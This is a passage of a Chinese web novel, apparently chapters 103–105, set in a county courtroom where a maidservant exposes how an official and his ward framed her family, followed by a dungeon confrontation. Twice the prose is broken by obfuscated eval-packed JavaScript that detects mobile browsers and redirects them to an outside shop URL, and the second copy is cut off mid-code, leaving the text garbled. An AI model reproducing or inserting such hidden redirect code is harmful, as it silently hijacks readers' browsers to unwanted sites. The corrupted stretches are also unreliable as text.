“并无关联。”许莲生看向邵夫人，“我家大人下葬之日，夫人确曾假装被迫自尽，但那是因为她误以为那封威胁信来自一个她无力抗衡之人，绝非这个没有能力威胁她的刘宝。” “许莲生！”邵夫人又急又怒，声音都破了，“你在瞎说什么！” 周冶一拍惊堂木，吓得一哆嗦：“夫人，你若咆哮公堂，本官就要将你请下去了。” “那我便由得她胡说么？”邵夫人不服道。 “这么说，夫人你自愿与她对质，成为此案证人了？” “这……我……”邵夫人一下没主意了，往人群中扫去，试图寻助，“老身只是反驳她的胡话。” “那也等她说完，你再说。” 邵夫人只好暂时应了声：“是。” 周冶又看向许莲生：“依你所言，刘顺乃是蒙冤？” 许莲生：“不只是刘顺蒙冤，霍家案中所有人均蒙冤！刘顺和那数十人，都是无辜被诬，实乃曾怀义与霍茹蕙……” “莲生！”邵夫人怒喝道。 看到邵夫人的怒容，看着她那浑浊麻木的眼中的震惊、愤怒、破碎，还有祈求，许莲生顿了一瞬，随即忍不住笑了。 离开儿子墓前，她最后对他说了一句，“为娘如今了无牵挂，这条残命，便可随心了。” 那时的她只是想任性而为一把，却没想到，原来，随心而行竟是这般快意！ 她的笑容很快敛去，更大声地道：“当年的霍家案，实乃曾怀义与霍茹蕙通/奸/苟/合，身怀有孕，反诬他人强/奸，蓄意构陷数十人！” 103. 霍家 这样石破天惊的消息一出，底下反而安静了一瞬。正在赌桌前的人也愣了神，手中铜板落下，清脆响起一串。 人群里随之爆发出议论。 “这……不是爬灰吗？” “这曾怀义，不是霍家小姐的未来公公？” “天下怎会有这等事！” 周冶不由往屏风处看去。 他知道，这一刻，她已经等了很久了。屏风上只有个影影绰绰的轮廓，更别说看清她的脸了，可他仿佛看见了她那张永远没什么大波澜的脸上，带着些苍凉的笑意。 屏风后的孟珂，此时也正望向他。 这一刻她想过很多遍，她原以为自己一定不会错过霍茹蕙这一刻的表情，可真到了这刻，她想都没想地望向了他。 隔着屏风，看着那个端坐的身影，她心中感慨的竟然是，从没想过此时此刻坐在公堂上的会是这个人，没想到这条踽踽独行的路，原来并不孤独。 想到此，她笑着微微低了头，感慨人生之奇诡，大概便在此。 一旁的回雪在她耳边轻声叹服道：“小姐料定了许莲生定会迎着一路的杀手来衙门，也定能顶住压力，当堂说出来！” 孟珂被她一句话拉得回过神来，目光挪向了堂上的主仆俩，悄声说道：“这邵夫人表面仁善，实则心胸狭隘。许莲生跟了她大半辈子，太清楚她是什么人了。在这样的人手底下活了这大半辈子，最缺的就是真正的尊重，真正把她当人。” “我等时候再兑现承诺，她也未必不会做。可我提前给，她没有被要挟之感，才会真正毫无保留——不管是为了一扫她自己的憋屈，还是为了未来的自由。” 回雪点着头道：“我就奇怪小姐为何没有事先将这许莲生保护或控制起来，还把这一路的危险都告诉她，原来都是为了这。” 孟珂道：“这么做，也不只是为她。她若先就不见了，避免打草惊蛇，二则，我便是要给他们这个暗杀的机会。让全绥陵的人都看看，许莲生是冒着丢命的风险，前来举告。” 她笑笑，又道，“顺便也借她这个饵，将黑石堂的残余力量扫除殆尽，也好钓出梁夫人藏得更深的爪牙，一个个剪除。” 今日，侍剑牵制了一部分，雨歇则尾随保护许莲生，一路处理。待二人在城外会师，又再聚歼了一波。这次下来，不说将残余之众彻底收拾得干干净净，也七七八八了。 回雪听小姐说完，却温和地笑道：“不过，不管她来不来、说不说，小姐其实都会给她自由。” 孟珂笑笑，没作声，便听着屏风外的许莲生继续说了起来。 “曾霍二人的苟且之事，瞒了几年。可那霍茹蕙年岁渐长，终于还是有了身孕，让霍家发现了。” “事情败露之后，霍家前来质问，曾怀义道，事关两家名声，霍家女儿的闺誉，不宜外泄。两家本就有婚约，左不过是进曾家的门，嫁给谁都是嫁，进门后过得好才是真……” “他要改娶未来媳妇进门？” “这不是成了跟那蛮夷一般，全无人伦了！” “无耻至极！” 底下顿时又炸开了，议论声几乎要盖过许莲生的声音，门口的官差忙走上前去，抬手往下压着，大喊道：“静一静，静一静。” 外间的声音渐渐低了下来，许莲生才继续道：“曾怀义向霍家提出，仍以儿媳之名娶入府，对霍家小姐‘负责’！” 底下不时响起“无耻”之声，“竟能想出这样暗度陈仓之策！” 许莲生道：“尽管他如此诡辩，但那霍家一时激愤，扬言要去告曾怀义。” 五儿乔装的白面书生挤在人群中，适时地道：“这官吏犯下强/奸重罪，案涉幼女，又加之有定亲这一层关系，曾怀义一旦被举告，就是震惊朝野上下的大案，传遍天大的丑闻！” 她顿了顿，故意夸张表情道，“他不只要被处死，还要通报朝野上下，并载入史册，以儆效尤。他无论如何也不能让这样的事发生。” 几个小年轻闻声认出了他，挤过来，举起手掌在脖子上一拉，问道：“所以他就要灭了霍家的口？” 有人被吸引了过来，也有人嫌吵，嘘他们道，“别打岔，先听里头怎么说！” 许莲生道，“于是，曾怀义又许以重利，将彩礼提高到数倍之多，还承诺待霍家小姐入门后，划拨多少资财到其名下。” “可那霍家就是不答应，担心天下没有不透风的墙，这事一旦传扬开去，霍家满门都将无颜苟活于世。” 许莲生转头看向了邵夫人，邵夫人脸上仍绷着，身子却不自觉地缩了起来。 许莲生道：“曾怀义见百般劝说无果，便让邵夫人亲自上霍家门劝解，允诺厚待霍家女，也发誓断然不会让人发现。” “这夫人可真够贤惠！” “还说他夫妇伉俪情深，下葬之时夫人曾自尽，不想背后竟这般污糟。” 许莲生叹了口气，感慨道：“后来，霍家的态度也慢慢有些松动了。就在霍家好不容易同意之后，没几日，曾怀义就带人上门，一举拿了数十口人。” 许莲生道，“背着全绥陵人，他端了霍家满门，生造出了个亲属强/奸/幼/女案。” 孟珂不用想也知道，曾怀义从来就没打算真的娶霍茹蕙进门厚待过，甚至不能等到娶进门再对霍家动手。所有的商议、劝说，全都是为了稳住霍家，拖些时日，待他备好刀斧，就一刻不停地对霍家动手了。 也不知，霍家人后来可明白过来？她转头往角落里看去。 那里坐着个黄脸妇人。那脸就跟泛黄的宣纸似的，又脆又薄，一戳就能破。 升堂多久，她就一动不动坐那儿多久了。 那张泛黄脆纸似的脸上，没什么表情；身子僵着，不时抖一下，像冬日里枯黄的树叶，只需轻轻一抓，便能碎在风里。但若看见她藏在袖口里的手，便知道她拳头拽得青筋直暴，身子这才不时一颤。 这正是霍茹蕙之母，同刘宝一起被救出大牢的郑氏。 听完许莲生的话，孟珂终于见郑氏的脸上，碎裂出一个薄薄的笑来，就像一缕不知从哪儿偷偷钻入的北风，无踪无际，却寒彻骨髓。 *** 这时，只听周冶的声音问道：“霍家既然已经同意了，对两家来说都是最好的结果，曾怀义为何要这么做？” 他自然明白，可他得替绥陵父老，将每一个面前，一点点全部拆出来。 许莲生答道：“曾怀义同邵夫人说，拿得住一时，拿不住一世。曾家满门都系于此事，不能被那霍家拿捏一辈子，不如除之而一劳永逸，方可真正安心。” 周冶继续问：“如你所说，曾怀义害人有因，可霍茹蕙为何也同他合谋，指控自己家人？” 许莲生答道：“指认家人一开始是曾怀义授意，但霍茹蕙为何愿意这么做，老身就不知道了。” “案发之时，霍茹蕙虚岁十四，已经是知道轻重的年纪，” 周冶继续问：“你的意思是，她清楚知道曾怀义陷害霍家的计划，也知道她攀诬指控的后果，依然配合？” “正是。”许莲生道，“她知情，也配合。” 周冶：“可有被迫？不是被曾怀义诓骗？” “依老身看，没有被迫的迹象，也并无诓骗。”许莲生道，“老身多次见她和曾怀义、邵夫人商议，当如何指控，如何在堂上对答。” 周冶见多了京中的权力斗争，天家甚至无父子，权贵为了无上的权力而弑父杀兄的都不奇怪。可在这样的小城，曾怀义诱/奸/幼女在前，谋害其家在后，而霍茹蕙则诬告家人在前，牵连众多亲朋在后，不由有些荒诞。何况，那可是个时年不过十三岁的姑娘！ 而屏风后的孟珂闻言则看向了衙门外的人群。她知道，霍茹蕙就在那。 想想当年的自己，跟霍茹蕙比起来，简直就是个无知婴孩。 如今想来，早在他们设计霍家案的时候，只怕就有了顶替她的金蝉脱壳之计。如此，霍茹蕙才能毫无顾忌地攀诬自家人，也毫不犹豫地对那个终将扔掉的霍茹蕙之壳，泼尽脏水。 而她在出事后住进梁家，也只是提早适应梁家小姐的身份而已。 当她去追自己的时候，去追她的其实是她的新身份而已。 孟珂自 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那些人都是夜间突然被抓走，连自己都懵懂不知所为何事，临走前无话告知家人，等被充军发配流放后，没多久就死得差不多了。而家属自他们入狱就连面都见不到，最后只能糊里糊涂地接受衙门的说法。 曾怀义应该恨不得秘密将人全处置了，不让任何人知道一丁点风声，怎么做毫无必要的牵连？ 虽然她现下还不知道，曾怀义为何要冒险走官路解决霍家，但走了那一步，霍茹蕙当堂说出了口，就覆水难收。若说霍茹蕙乱指认，那她的证词便不可再取信，案子就办不下去了。他骑虎难下，只得依了她，事后却不得不彻底打扫干净。 这才有了卷宗被烧，办案人四处零散。他对上是立大功，对外却无人知情的结果。 她再看向邵夫人，见邵夫人转头看着人群，目光中透出了一种久远而压抑的恨意。 许莲生的话将她最折磨的那些日子全都翻了出来。她只觉得胸口一阵阵恨意翻涌，手心掐得几乎要出血。 当初，她原以为霍茹蕙乖巧懂事，既然曾怀义已经强要了，便是纳入府中也无妨。可到了那个时候，她和曾怀义才发现，那是个根本不受任何人控制的狼崽子。 他们原本担心的是霍家人，可除了霍家人才发现，真正能威胁到曾家，拿捏她的人，竟是这个还未长成的崽子。可奈何这崽子狐媚功夫深，她一时也无法劝得曾怀义对她动手。 还是她得了高升的主意，向曾怀义进言，让霍茹蕙金蝉脱壳，顶了梁家姑娘的身份，远远地放到陈府去，这才有了几年安生日子。 她本想着，待曾怀义对霍茹蕙的心冷些，再徐徐图之。可不管她怎么百般劝谏他防备此女，曾怀义最终还是折在了她手上，连自己也始终没能摆脱她。 她恨毒了霍茹蕙，狠毒了所有姓霍的人。当初，要不是霍家夫妇将此事直接去问了隔壁的梁均，他们拿不准梁均有没有传出或上奏此事，可一时又拿不下梁家，这才不得不走官路解决此事。 不然，那霍家便跟梁家一样，直接一把大火烧个干干净净，或以盗匪劫财灭门，便没有她这么些年的痛苦了。 许莲生后来在说什么，她已经完全没听了。她脑中只疯狂想着，该怎么办才好。可想来想去，也只有霍茹蕙嘱咐她的办法，“现如今，只能来个各执一词了。不论许莲生说什么，我们也自有一份计较。” 不管多恨这个女人，为了自己，也只得硬着头皮用她的主意。想定了，邵夫人挪步，走到许莲生面前，先重重地叹了口气，才凄笑道：“莲生！不想我们主仆竟有公堂对峙的一天。” 许莲生也看着她，笑道：“我亦不曾想，还会有这一日。” 幸而有这一日，她便是死也瞑目了。 “我怎么也没想到，你竟会联合外人来以奴告主！更没想到，你会颠倒黑白、混淆是非，污我亡夫清名，毁我曾家！” 邵夫人的声音一句比一句高亢，最后厉声质问道，“莲生！你怎会变成这样？到底是谁指使你的，到底给了你多大的好处？！” 104. 浑水 邵夫人一句接一句地质问，许莲生惊得嘴巴微张，但在半辈子的习惯之下，只是本能地听着，就像邵夫人每一次胡搅蛮缠，冲她乱发脾气的时候一样。 “莲生，这么多年，我自问从来待你不薄。” 邵夫人看着呆呆在原地的许莲生，继续道，“你虽卖入我家，为奴为婢，我却从未将你当成下人。我当你姐妹，处处对你好。未嫁之前，我的衣裳吃食，什么都分给你。待我成婚，又带你入府，成了身份最高的陪嫁。” “我一心给你谋好出路，将你指给了我家大人最器重之人，还给你添上嫁妆，助你安家。甚至在成婚之际，还放了你自由身。这些你都忘了吗？” “这么些年来，你夫君高升掌前院，你许莲生掌后院，我与大人待你夫妻如何？待你儿高升，亦如亲子。”她叹道，“谁知这三十余年的情分，重重恩德，终究成了升米恩斗米仇。” 邵夫人朝前一步，质问道：“我待你如此，你还要如何？你到底还有何不满？难道……就因为你儿死了，你就记恨我，迁怒我，也要让我失去一切？” 她揪着胸口道，“可我也失去了丈夫，失去了儿子。你我本同病相怜，我本该一起，携手共渡难关，不是吗？” 看许莲生在邵夫人的逼问下一句话也说不出来，回雪不由暗暗跟着着急了起来，看了小姐几次，终于忍不住道：“小姐，这许莲生，对着邵夫人没有还手之力啊！” 孟珂道：“主仆俩，常年一个说一个听，一时反应不过来才是正常的。这样也不是坏事，许莲生若是咄咄逼人，有以奴欺主的样子，反而不好了。她越是弱势可欺，外间的人才越会站在她这一边。邵夫人这么做，反而是在帮她。” “可这么下去也不是办法啊！”回雪看向外面的人，“有些人已经在说是许莲生刁奴告知，贪心不足了。” “若是街上吵架，路人很可能这么被邵夫人带偏了。可这是公堂之上，”孟珂看向周冶，笑道，“不是谁嘴厉害，谁强势就行的。这会儿听信她的人，稍后发现被骗之后，就会更讨伐她，转而更同情弱势的许莲生。” 她轻笑一声，“邵夫人就可劲儿地给自己挖坑吧！越深越好，深到够把自己埋了，便替我省事了。” 说着，她突然停了下来。 外间，邵夫人的声音骤然提高，看着许莲生，痛心疾首地道：“可纵使你我情深，我今日也不得不站出来，在这大堂上，揭开你的面目！” 邵夫人转头看向人群，凛然道，“我不得不当着绥陵父老，为我亡夫，为霍家那可怜的茹蕙，分辨一二。他们都不在了，口不能言，我不得不替他们鸣冤叫屈，免得他们只能在地下不得安宁。” 说完，她转身对着周冶一揖，朗声道：“是，许莲生的确放走了刘宝，但是我让她放的！我念着亡夫当年的话，想乘这孩子没再铸大错之前，再给他一次机会！” 公堂内外的人，都注意到了她说的两个“再”字。 不等人们议论，邵夫人又道：“当年霍梁两家那场大火，在场父老不知几人亲见？坊间一直说，是霍家人犯事之后，所剩不多的仆人松懈，这才不慎起火。可是，我家大人悄悄说与我听，那是有人纵火。” 底下人当即惊呼，“纵火！” 待底下人的哄闹消退了些，她继续道，“这事，官府当时没有细究。我家大人说，冤冤相报何时了，何况木已成舟，此事不宜深究，应该给那人……一个机会。” 说完，她看向了刘宝。 也将所有人的目光都带到了刘宝身上。 刘宝看着那些陡然射来的质疑目光，明白她何意，气愤到结巴：“你……血口喷人！什么纵火，我那时才多大？” 邵夫人看着他，满目慈悲地继续道：“我家大人说了，有些人犯错，未必是有心，也还不懂事，应该给个向善的机会。不过，他地下有知，看到今日的场景，不知可会后悔当日发的善心！” 这下，外头那些没押注的，很快转了风向。而那些押了注的，心也提了起来，“真的假的？”“这意思是刁奴和白眼狼，联手反诬曾家？” 说完刘宝，邵夫人又转头看向了许莲生：“莲生，我虽不知你是何时起，又因何心怀怨愤。你污我曾家，倒也罢了，可你……万不该毁茹蕙那孩子的清誉！那孩子遭受的，难道还不够多吗？” 她拿出袖中手帕，沾了沾湿润的眼角，“她虽没来得及进我曾家的门，可我和夫君早就把她当成亲生女儿。得知她遭受了那样的事，我们气得……抓心挠肝，只恨不能把那些畜生剥皮拆骨。” “事发之后，我家大人千方百计压下这个案子，就是不想毁了她的清誉，想让她下半辈子还能过正常人的日子。” “即便出了那样的事，我们也打算让她依照婚约，嫁入曾府，让我儿以亲妹妹待她，好好照顾她下半辈子。谁知……谁知一场大火，让她葬身火海。” 说着，她的目光又射向了刘宝，半晌，收了回来，叹道，“后来，我想着，也许上天也不忍看她遭受这样的苦难，提前让她解脱了。可谁想，多年后还会有人将这些事翻出来，这不是等于将她……挖出来鞭尸吗！” “我求求诸位，放过她吧！”她走到许莲生面前，又走到刘宝面前，哭道，“人死了那么多年了，还不能放过她吗？你们就……那么狠心吗？算我求求你们了，不成吗？” *** 眼看着风向被邵夫人一点点扭转过来，同情她、信她的人越来越多。回雪忍不住问：“小姐，就由着她这样搅浑水？” 孟珂依旧气定神闲：“意料之中的事。真正搅浑水的不是她，不过是让她作为主人，作为威胁信的对象，上堂对质最顺理成章。” 她冷笑一声，“邵夫人心里，此时比我们还难受呢。恨得牙痒，还得帮她说话，后槽牙都咬碎了吧！” “可咱们怎么办？”回雪问，“总不能就由着她这样吧！刘宝和许莲生都没有反击之力。早知如此，就该听周大人的，去找曾二公子，劝他作证。若有他相助，邵夫人的话便不足为信了。” 孟珂笑笑：“我不能将这些关窍之处寄托在这些人的家人身上。” 回雪记得，周冶提此事之后，小姐又翻出了曾二公子新年送来的盒子，对着里面的折纸沉思良久。她叹道：“我知道，小姐就是不想为难曾二公子。” “有道是，‘父为子隐，子为父隐，直在其中矣。’就连律法都规定，不可以亲属之罪拷问。他们可以自己选择大义灭亲，但于情于理，外人不可为难。” 孟珂笑笑，淡淡地道，“我不会因顾忌他而放弃家人之仇，又如何要求他为我，而背离自己的家人呢？” 说完，她冲陪侍在公堂一侧的洗墨招招手，待他走过来，耳语一番。 待洗墨走到周冶身边去，她头微微向回雪一偏，目光却透过屏风，看向人群中的一个身影，笑道：“她玩的不就是诋毁吗，证人指证，她便让这些证人的话都变得不可信。可她的证人就无懈可击吗？” 堂上，周冶问刘宝道：“你曾暗中偷窥过曾府一段时日，也因此发现邵夫人特别惧怕一位年轻的夫人，对其言听计从？而曾怀义对此人也没办法？” “是。”刘宝道。 “那你可认得她是谁？” “不认得。”刘宝道，忙又解释道，“是当时不认得。” “你后来知道了。” “对！小的觉得奇怪，就尾随了那位夫人一段时间。这才知道，那是太守府梁夫人。” 周冶转头看许莲生：“许莲生，你是贴身邵夫人之人。邵夫人试图悬梁自尽一事，到底是因为看到刘宝所放的威胁信，还是因夫君之死想追随而去，又或是别的什么因由？” 许莲生看了邵夫人一眼，道：“启禀大人，邵夫人第一次看到威胁信之时，只当是有人恶作剧，并未真正放在心上。但第二次收到之时，恰逢梁夫人上门，还语出威胁，以为是梁夫人所迫，这才‘不得不’让老身配合，演了一出上吊自尽。” 周冶“哦”了一声：“邵夫人为何如此惧怕梁夫人？甚至到了要演出自尽的程度？” 许莲生往屏风处看了一眼，又看向了邵夫人：“这便要问问夫人了。” “你胡说八道！”邵夫人怒斥道，说着又看了人群一眼，眼珠子直转，“梁夫人与我并无干系，哪来的什么惧怕，还什么演自尽！你们二人狼狈为奸，专跟我曾家过不去，尚且算是事出有因。可你们如今又咬上梁夫人，这却是为何？” “邵夫人，”周冶故意伸了伸脖子，顺着她的目光往外看去，“你今日在堂上，怎么一直往人群里看，外头可是有什么人？我瞧着，你似乎很怕外头的什么人啊！” 邵夫人一怔，惊恐地笑道：“哪有的事！我没看什么人！我只是……想让在场父老都听听，替我评评理！哪有什么人！没有的事！” 人群里，梁夫人果断侧过身，想要挤出人群去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999201|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是吗？”周冶笑笑，看着人群中一个身影，故作思考状，说道，“本官要不要传梁夫人到场，对质一番呢？” 听了这话，那身影一僵，怕反而引人注意，一时进退不得。 堂上，刘宝道：“草民愿与梁夫人对质！” 一见周冶的目光收了回去，梁夫人忙挤出人群，疾步走向了路边的马车。 *** 眨眼的功夫，梁夫人就不见了。周冶笑笑，扫了邵夫人一眼，又看向许莲生和刘宝：“你们这各执一词，本官到底该信谁？” “刘宝、许莲生，即便诚如你们所说，是曾怀义在背后操纵霍茹蕙，诬告这数十人。此二人，一个早于八年前失踪于火海，一个也于年前意外身故。此案没了被告，又只你们三人的一面之辞，并无证据，如何立案，又如何能翻案？” 刘宝顿了顿，反应了过来，忙接话道：“大人，主犯曾怀义虽已身亡，可主犯邵夫人还在。” 底下人都看向了邵夫人。邵夫人也愣，从未想过自己会成为主犯。 刘宝道：“请拿下邵夫人，严加审问。” 邵夫人急道：“就凭你们这空口白话的，就要审我？你们有什么证据？众口铄金，便想定我罪不成？” 这话急得破了音，全不是那个柔声细气、面目慈悲的官夫人。 周冶笑笑，将案卷举在手中，看着邵夫人道：“当年的霍家案，你家曾大人不就是仅凭口供，众口铄金，就给这数十人定了罪？既然夫人也觉得，单凭口供不可定罪，那这霍家案便合该立案重审！” 底下当即响起一片叫好之声。方才匆忙间买了邵夫人，好平之前信刘宝而将“亏损”的账的那些人，也叫了起来：“怎么可能没证据，当年要是没有，怎会判案？必定是时间久了，证据遗失！” “还有个主犯，请大人缉拿到案！”刘宝顿了顿，大声道，“那主犯霍茹蕙，还活着！” “这死去的霍茹蕙如何活过来了？”邵夫人眼珠子乱转，急道，“失踪多年的人怎么找得到？大人难道真要信这离谱的说法？” 周冶看着她，重重地拍了下惊堂木，转头问刘宝，“你说那霍茹蕙还活着，那此人何在？” 孙嬷嬷原本躲在人群边上，闻言忙朝马车奔去，急急掀帘上车：“这可怎么办！那周冶要发寻人告示，寻……霍茹蕙到案调查！” 没想到，火竟然这么快就烧到了自己身上，梁夫人的头一阵生疼，掐着太阳穴道：“他们到底在搞什么！明知我身份却不挑破，反而先要传梁夫人，再要寻霍茹蕙，这玩的什么花招？” 孙嬷嬷急道：“还是赶紧想一想，谁最可能去衙门指认……得做最坏的打算了。” “急有什么用？”梁夫人恼道，“能指认我的人，衙门里现已站了几个！我能怎么办，难道再找几个人，再来一个各执一词？谁的话能顶用？搬出陈万霆顶用，还是搬出柯大夫人顶用？让证人在公堂上下饺子，浑煮一通？” “也不是不行啊，”孙嬷嬷道，“都是口说无凭嘛！” 这时，梁夫人突地想到了一个人，脸上突地一变，声音发虚道：“不好！” 既然刘宝没死，另一个人只怕也还活着。 “别的人指证，我还可以死不认账。可她一出来，我就无可辩驳了。”她心下真的慌了，忙道，“去安排一下，今夜我亲自进大牢。” 孙嬷嬷一时没跟上她的思路：“去做什么？” “找梁云钦。” “这时候找他做什么？都到了这一步，许什么好处他也不会撤案啊！” “她在哪，梁云钦应该知道。” “他？哪个他？”孙嬷嬷更莫名其妙了。 “郑氏。”梁夫人道，“刘宝是他弄来的，他应该也知道郑氏的死活。” “可背后之人不是孟……” “可她能对我说实话？”梁夫人怼道。 “那梁云钦……”孙嬷嬷本想着别多添堵，可这会儿瞒不住了，只好照实说道，“已经被放出来了。” 梁夫人猛地转头看向她。 孙嬷嬷道：“他把义庄和商会那些事都推给曾怀义了，也不知怎的，还真让他脱身了。” 梁夫人震惊过后，反而异乎寻常地冷静，徐徐吐出一口气，笑道：“我们能无中生有，人家自然也能有罪从无。不外乎背后有人罢了。” “不过，出来了也好。”她笑道，“人在外头倒方便我们，可放手去做了。” 105. 地牢 走出大牢的瞬间，梁云钦心下就开始发虚——生怕有人随时来要了他的命，黑石堂必定有余孽在城中，梁夫人也还在。于是，向来招摇的他，一面不敢露，悄没声息地躲进了一座偏僻的宅院，一步不敢离开，只苏姒每日来看他。是以，城中竟没什么人知道他已经被放了出去。 安生了几日，他多少也放下些心来。可今日刘宝上告，城中闹得沸沸扬扬，他也提溜起了一颗心。 这一石激起千层浪，霍茹蕙那个疯女人，指不定怎么反扑呢。 贾四传过几回消息，可那头不结束，他便始终悬着心。暮色已尽，他往外头瞧了许多次，始终不见苏姒，也不见贾四回来。 这时，忽听得外间一响，他顿时僵住了。自账本被偷之后，他一听响动就犯哆嗦。 “谁？”他压着嗓子，装得不是自己的声音，又问了一声，“谁在外边？” 再听，又没响动了。 还真成惊弓之鸟了！他摇了摇头，自嘲一笑。 就在这时，一个黑影从方才响动的方向钻了进来。 梁云钦被什么人从背后捂住嘴，脸上的笑还没来得及散尽，就又一次晕了过去。 失去意识前的那刻，他只莫名觉得，这感觉好像有点熟悉。 *** 天色已晚，在场的人也说得差不多了，周冶宣布择日再审。 等退堂的惊堂木拍下，周冶已经站起身来，许莲生才后知后觉地叫了声：“等等！” “你还有何话说？”周冶转头看向堂下，疑惑道。 “大人恕罪！”许莲生半晌才反应过来，这不是在曾府，而是在堂上。她不是只能垂头听夫人训话，好让她早点撒完气，事情早点过去。她抬起头，看着周冶道，“邵夫人方才对我的指控，我，得回应！” “你说。”周冶压住了嘴角的笑意，温声道。 许莲生讷讷地点头道：“大人，没人指使，没人给我好处。霍家案与曾怀义案，我在堂上所言，句句属实。我，许莲生，敢对天发誓，若有作假，天打雷劈！不知夫人可敢发誓？” “你——”邵夫人指着她，“你放肆！” 原本已经往外走的人，这会儿也停下脚步，又伸头往里瞅。所有人的目光都落在了邵夫人身上。 “公堂之上是讲证据的！若是发誓管用，还要公堂做什么？”邵夫人艰难憋出一句话，狠狠一甩袖子，“我不同你在此呈口舌之快！” “若没有别的，今日便到此。”周冶扫了二人一眼，再道，“退堂！” 公堂内外的人这次才三三两两地散去。 官差上前来，领着许莲生要走。 许莲生走到邵夫人面前，看着她道：“夫人放我自由身的‘恩典’，莲生一直铭记于心，也……一直心存感激。” 邵夫人哼了一声，看也不看她。 “不过，莲生也知道，这份恩典不是给我，而是给高升的。”她笑笑，“我不过是老爷和夫人赏人的物件，便索性大方些，彻底给了他罢了。” 邵夫人被戳中了，手上虚虚地握了握，尴尬地笑道：“你原来……是如此想的。” 许莲生对她一礼，下去了。 另有官差将刘宝带了下去。他进了后堂，对周冶和孟珂一揖，便去看郑氏。 见她今日看着也没什么两样，仍是呆呆枯坐，不言不语，就跟当初被关进县衙大牢时候一样。 出了这么些事，过了这么些日子，他们二人一起死过一回，一起被送走，再一起被接回来，倒有了些同生共死、同命相怜的意思。 他本就心眼实诚，加上看她遭遇这么多，又成日木偶人似的，一开始多少有的迁怒也散了。如今，他只觉得他们都是这个案子的受害者，便也当长辈照看上了。 “刘宝，你今日也累了，”孟珂吩咐他道，“带你郑姨一起，下去歇息吧。” 刘宝应着下去了。 等二人走远了些，孟珂才对周冶笑道：“大人想必已经发现，但凡有刘宝在的时候，郑氏始终有点畏畏缩缩的样子。” 周冶点头道：“想是愧疚，毕竟是自己家的事牵连了这孩子。不过，愧疚归愧疚，天下哪个母亲能大义灭亲呢？” 无论霍茹蕙做过什么，她们都是母女。孟珂不可能把宝压在郑氏身上，可是，瞧她一直这样完全不管，他也想不出来，这颗棋子她到底要怎么用。 此时，他想问的是另一个更紧急的事：“霍茹蕙的身份，你准备怎么揭破？为何不直接传唤、指认，却要发告示寻人？这岂不是给了她时间去消灭证人、证据？万一证人被她拉拢过去呢？” 说着，他想道，她自然能想到这些，所以是故意惊动她，明白过来道，“你这是……故意打草惊蛇！” 可为什么呢？难道……她就是想让霍茹蕙去找证人？刘宝、许莲生已经在衙门了，还有……便是故意放出去的梁云钦！ 她这一招根本就不是针对霍茹蕙，而是针对梁云钦。 她想让霍茹蕙对梁云钦做什么？借刀杀人！ 梁云钦指认霍茹蕙身份的切结书已经有了。他推出了刘宝，替父鸣冤，重启了霍家案，他该起的作用已经没了——也就到了他付出代价的时候了？ 他看向了孟珂，不脏手，便得借别人的手。 *** 等梁云钦醒来的时候，发现自己在一个伸手不见五指的地方。他头痛欲裂，又什么都看不见，活似在那种睁不开眼、又浑身使不上力的噩梦里，整个人都难受憋屈痛苦到不行。 他在黑暗中挣扎了许久，甚至都分不清这到底是噩梦还是现实，直到听见一个女人的声音。 “醒了？” 虽只两个字，但这声音分明很耳熟。 只是，他脑子此刻不太反应得过来，努力想抓住那点熟悉感，拼命在脑海中翻找，那声音对应的脸，却发现只是徒劳。 “怎么，连我的声音也听不出来了？”那声音笑了起来。 这笑声也熟。 梁云钦脑中，那个模糊的人影突地有了脸。他猛地惊道：“粱……霍茹蕙！” “你……你想干什么？！” “你说我想干什么？”梁夫人冷笑一声，“你猜一猜？” 她好整以暇地道，“你开始跟我作对的时候，就该想到有今日。你应该感谢我，还能让你死个明白，免得到了阎王殿都是糊涂鬼。” 说话间，梁云钦的眼睛逐渐适应了光线，看见自己在一个地牢里，外面的椅子上，坐着个女人，身后还站了丫鬟婆子。 “你问我想干什么？” 梁夫人站了起来，手在栅栏上拂过，“这话该我问你啊！梁云钦，你到底想干什么！你把刘宝弄回来，告我诬告霍家，还问我想干什么！” 梁云钦冷哼道：“时至今日，咱们谁也别装了。你没对我动手？你不想要我死？你可给我留了活路？” “总不能我一个人死吧？”梁云钦道，“咱们的新仇旧怨，总归是要算一算的，不是吗？” “说得你好像很无辜。”梁夫人道，“你能救下刘宝，把他留到今日，分明就是蓄谋已久。” 看来，她以为刘宝是他救的。梁云钦顿了顿，没反驳。 “谁蓄谋已久，谁先动的手，还重要吗？”他好笑道。 他和霍茹蕙怎么都是不死不休，求饶也没用。现如今，能救他出去的也就是孟珂了，他不能出卖她。况且，看霍茹蕙越生气，他越高兴。 于是，他头一昂，认了道：“是，刘宝就是我弄来的，就是我让他去告的，你咬我啊！” “你弄死我啊！”他站起来，冲到牢房栅栏前，大笑道，“弄死了我，公堂之上，刘宝立刻就会多告你一桩！” 梁夫人抬起脸，大笑了起来：“谁看见我抓你了？谁知道我抓你了？你还走得出这里吗？” “你怎么知道我没留后手呢？”梁云钦道，“我既然能让刘宝去告你，自然早就考虑过后果。我活着，那些保命的东西就在。只要我消失，留下的证据就会直接送上县衙！只要我死了，就是你干的！” 说完，梁云钦笑问，“要不要试试？” 良久，梁夫人才出声：“你能有什么证据？” “毕竟有樊仲荣的例子在先，我总得给自己找点保命的东西吧？咋俩又有当年那点……过节，我料定了你不会放过我。不过是曾怀义暂时还用得着我，于是从中镇着，咱们才能相安无事这么多年。可你我都知道，这一天早晚会来的。” 梁云钦道，“既知道你我必有这一日，能不早早留点保命的东西？” 梁夫人一时没出声，似在分辩真假，思索应对。 半晌，她似是放弃，笑道：“我能灭了霍家，能灭了梁家，如今能一手搞垮曾家，你以为……我还有什么不能做，做不到的？你手上的人，比起那些人来如何？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 